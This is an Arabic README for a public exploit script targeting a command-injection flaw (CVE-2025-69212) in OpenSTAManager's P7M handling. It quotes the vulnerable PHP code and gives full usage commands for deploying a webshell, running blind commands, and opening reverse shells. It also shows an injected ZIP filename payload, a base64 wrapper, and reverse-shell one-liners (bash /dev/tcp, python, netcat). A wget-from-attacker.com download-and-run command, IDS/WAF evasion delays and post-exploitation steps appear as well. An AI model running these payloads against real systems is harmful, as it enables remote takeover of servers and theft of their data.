يحتوي OpenSTAManager v2.9.8 والإصدارات الأقدم على ثغرة خطيرة في حقن الأوامر في نظام التشغيل (OS Command Injection) في وظيفة فك تشفير ملفات P7M (الموقعة بتنسيق XML).
OpenSTAManager <= 2.9.8 — حقن أوامر نظام التشغيل في معالجة ملفات P7M
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-69212 |
| الخطورة | حرجة (CVSS 4.0: 9.4) |
| CWE | CWE-78: حقن أوامر نظام التشغيل |
| الإصدارات المتأثرة | OpenSTAManager <= 2.9.8 |
| الدالة المعرضة للخطر | XML::decodeP7M() في src/Util/XML.php |
| ناقل الهجوم | اسم ملف ضار في أرشيف ZIP مرفوع |
| المصادقة | مطلوبة (أي مستخدم لديه صلاحية استيراد الفواتير) |
| التأثير | تنفيذ كامل للكود عن بُعد كمستخدم خادم الويب |
يحتوي OpenSTAManager الإصدار 2.9.8 والإصدارات الأقدم على ثغرة حرجة لحقن أوامر نظام التشغيل في دالة فك تشفير ملفات P7M (XML الموقّع). تقوم طريقة decodeP7M() في src/Util/XML.php بتمرير أسماء الملفات التي يتحكم بها المستخدم مباشرة إلى دالة PHP exec() دون تنقية، مما يسمح للمهاجمين الموثّقين بتنفيذ أوامر نظام تعسفية على الخادم.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
يتم تغليف المعامل $file — الذي يأتي من أسماء الملفات داخل أرشيفات ZIP المرفوعة — بين علامتي اقتباس مزدوجة ولكنه لا يُنقّى أبدًا باستخدام escapeshellarg(). يمكن للمهاجم إنشاء اسم ملف .p7m يهرب من سياق الاقتباس المزدوج ويحقن أوامر شل تعسفية.
plugins/importFE_ZIP/actions.php:126 — الناقل الرئيسي عند معالجة رفع ZIP الذي يحتوي على فواتير إلكترونيةplugins/importFE/src/FatturaElettronica.php:56 — المُنشئ الذي يعالج ملفات .p7m فردية| الميزة | الوصف |
|---|---|
--check | التحقق مما إذا كان الهدف معرضًا للخطر (إنشاء ملف علامة والتحقق منه) |
--webshell | نشر شل ويب PHP عبر حقن أوامر نظام التشغيل |
--rce | تنفيذ أوامر تفاعلي عبر شل ويب منشور |
--reverse-shell | تشغيل شل عكسية (طرق python, nc, nc-e) |
--cmd | تنفيذ أوامر أعمى (إطلاق ونسيان) |
--shell-dir | دليل مخصص لكتابة شل الويب |
--method | اختيار طريقة الشل العكسية |
--proxy | دعم وكيل HTTP (Burp Suite) |
--delay | تخفيف الطلبات لتجنب IDS/WAF |
| الكشف التلقائي | اكتشاف تلقائي لمعرفات وحدة/إضافة importFE_ZIP |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# تسجيل الدخول باستخدام بيانات الاعتماد
python3 exploit.py -t http://target.com -u admin -p secret --check
# استخدام جلسة كوكي موجودة
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# اكتشاف تلقائي للإضافة والتحقق من الثغرة
python3 exploit.py -t http://target.com -u admin -p secret --check
# مع معرفات الوحدة/الإضافة المعروفة
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# نشر شل ويب في الدليل الافتراضي (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# دليل واسم مخصصان
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# نشر شل ويب + شل تفاعلية
python3 exploit.py -t http://target.com -u admin -p secret --rce
# مع شل ويب موجود من تشغيل سابق
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# شل عكسية Bash (افتراضي، موثوق جدًا)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# شل عكسية Python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat باستخدام mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat باستخدام العلم -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# تنفيذ أمر (بدون إرجاع الإخراج)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# تحميل وتنفيذ حمولة
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# عبر وكيل Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# مع تأخير الطلب (ثانيتين)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# تخطي التحقق من SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k
الهدف:
-t, --target عنوان URL الأساسي للهدف
المصادقة:
-u, --user اسم المستخدم لتسجيل الدخول
-p, --password كلمة المرور لتسجيل الدخول
-c, --cookie قيمة PHPSESSID موجودة
الإجراءات:
--check التحقق مما إذا كان الهدف معرضًا للخطر
--webshell نشر شل ويب PHP
--rce شل تفاعلية عبر شل الويب
--reverse-shell شل عكسية (LHOST LPORT)
--cmd COMMAND تنفيذ أوامر أعمى
خيارات الشل:
--shell-dir DIR دليل كتابة شل الويب (الافتراضي: files)
--shell-name NAME اسم ملف شل ويب مخصص
--method METHOD طريقة الشل العكسية: bash, python, nc, nc-e
اكتشاف الإضافة:
--module-id ID معرف وحدة OpenSTAManager
--plugin-id ID معرف إضافة importFE_ZIP
الشبكة:
--proxy URL عنوان URL لوكيل HTTP
-k, --no-ssl-verify تعطيل التحقق من SSL
--delay SECONDS التأخير بين الطلبات
يقوم الاستغلال بتشكيل أرشيف ZIP يحتوي على ملف .p7m واحد باسم ضار:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
عندما يعالج OpenSTAManager هذا الملف، يصبح استدعاء exec() الناتج:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
يفسر الشل الفواصل المنقوطة كفواصل بين الأوامر، منفذًا الأمر المحقون بين استدعاء openssl المنتهي و echo اللاحق.
هام: تعالج دالة PHP
ZipArchive::extractTo()الشرطة المائلة (/) في أسماء الملفات كفواصل أدلة وفقًا لمواصفات ZIP. أي/في الاسم الضار ستؤدي إلى تقسيم دخول الأرشيف إلى أدلة، مما يكسر حمولة الاستغلال.
يجب أن تتجنب جميع الأوامر المحقونة / تمامًا. لتجاوز هذا القيد بالكامل ومنع تعليق PHP exec() (الذي يمكن أن يشغل عمال الخادم ويسبب مهلاً)، يقوم الاستغلال الآن تلقائيًا بلف الحمولات في Base64 وتنفيذها في الخلفية:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
يتيح لنا ذلك استخدام / بشكل طبيعي داخل الحمولة الداخلية (مثل /dev/tcp/10.10.14.5/4444) دون كسر هيكل ZIP.
| الطريقة | الحمولة | يتطلب |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat مع دعم -e |
طريقة bash هي الافتراضية الآن لأنها الأكثر موثوقية والأصلية على أنظمة Linux.
رفع ZIP عبر إضافة importFE_ZIP
└── يقوم actions.php بإرسال المعالجة إلى معالج الإضافة
└── يقوم ZipArchive::extractTo() باستخراج الملفات
└── يتكرر على ملفات .p7m
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── يفسر الشل الأوامر المحقونة
1. --check → تأكيد RCE عبر ملف علامة
2. --webshell → إسقاط شل PHP في دليل files/
3. --rce → تنفيذ أوامر تفاعلي
4. استكشاف → id, cat /etc/passwd, ifconfig
5. تنقل → شل عكسية للمهاجم، استغلال ما بعد الهجوم